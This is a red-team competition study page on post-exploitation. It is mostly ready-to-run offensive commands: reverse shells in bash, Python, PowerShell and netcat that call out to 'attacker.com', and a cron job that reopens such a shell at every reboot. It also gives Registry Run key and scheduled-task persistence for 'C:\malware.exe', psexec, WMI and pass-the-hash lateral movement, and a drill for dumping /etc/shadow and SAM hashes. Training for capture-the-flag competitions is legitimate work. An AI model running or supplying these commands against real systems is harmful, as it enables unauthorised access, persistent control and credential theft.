Post-Exploitation

Scope

What this is: Maintaining access, escalating privileges, and moving laterally through networks after initial compromise.

Competition relevance: Offensive operations (red team CTF). Required for multi-stage compromise scenarios.

Why it matters: Initial access is just the beginning. Post-exploitation demonstrates ability to maintain persistence, extract data, and expand access across the network.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (maintaining access and lateral movement after initial compromise).

Competition area: Core to the offensive operations area, where you establish persistence, escalate privileges, and move laterally through compromised networks.

Offline competence: Post-exploitation requires no special tools beyond shell access. Maintain offline checklists for persistence mechanisms (cron, systemd, Registry Run keys, scheduled tasks). SSH tunneling, port forwarding, and pivoting work entirely offline. Local credential dumping tools (mimikatz, hashdump) work offline.

Competency Matrix

Level	Expectation
Regional	Basic reverse shells.
National	Persistence mechanisms. Credential dumping. Lateral movement.
Squad/Team Selection	Advanced persistence. Living-off-the-land techniques.

---

Technical Content

Reverse Shells

Bash:

bash -i >& /dev/tcp/attacker.com/4444 0>&1

Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PowerShell:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Netcat:

nc -e /bin/sh attacker.com 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f

---

Persistence

Linux cron:

(crontab -l ; echo "@reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")| crontab -

Windows Registry Run key:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\malware.exe"

Scheduled Task:

schtasks /create /tn "Updater" /tr "C:\malware.exe" /sc onlogon

---

Lateral Movement

PSExec:

psexec.py domain/user:password@192.168.1.100

WMI:

wmic /node:192.168.1.100 /user:admin /password:pass process call create "cmd.exe"

Pass-the-Hash:

pth-winexe -U domain/user%hash //192.168.1.100 cmd

---

Advanced Persistence

WMI Event Subscription:

# Create persistence via WMI

DLL Side-Loading:

# Place malicious DLL in application directory

---

Competition Strategy & Marking

What gets marked:

• See specific task requirements

Evidence and reporting requirements: Evidence and reporting requirements:

• Screenshot showing persistence mechanism installed (crontab -l, schtasks /query, Registry Run keys)

• Proof of persistence survival after system reboot (screenshot showing persistence still active post-reboot)

• For lateral movement: screenshot showing successful access to secondary host (whoami, hostname)

• For credential dumping: screenshot showing extracted hashes or plaintext passwords (redact if competition rules require)

• Network pivoting documentation (SSH tunnels configured, port forwards established)

• Written explanation of persistence method, stealth characteristics, and detection difficulty

• Clear file naming: postex_persistence_cron.png, postex_lateral_host2.png, postex_credentials.png

• Establish reverse shell immediately

• Set up persistence if long-term access needed

• Dump credentials for lateral movement

• Time limit: 20 minutes

Time-boxed drill suggestion: 45-minute post-exploitation sprint: Given root/SYSTEM access on a compromised host, establish persistence using at least two methods (Linux: cron, SSH key, systemd service; Windows: Registry Run key, scheduled task, service), dump local credentials (Linux: /etc/shadow with unshadow; Windows: SAM with mimikatz), identify lateral movement opportunities through ARP scanning and credential reuse, successfully access a second host, and verify persistence survives reboot. Document all mechanisms with screenshots. This drill should be completable offline with local VMs.

---

False Flags / Wrong Paths

Common Traps

Time-consuming rabbit holes If a single approach takes more than the allocated time-box, reassess and try alternative methods or move to next task.

Over-complication Competition scenarios test core skills. If solution seems overly complex, look for simpler approach.

---

Practice Checklist

• Can complete core tasks without documentation
• Understand key concepts and techniques
• Can document findings with proper evidence format
• Can complete realistic scenarios within time limits

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../00-roadmaps/[stage].md

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references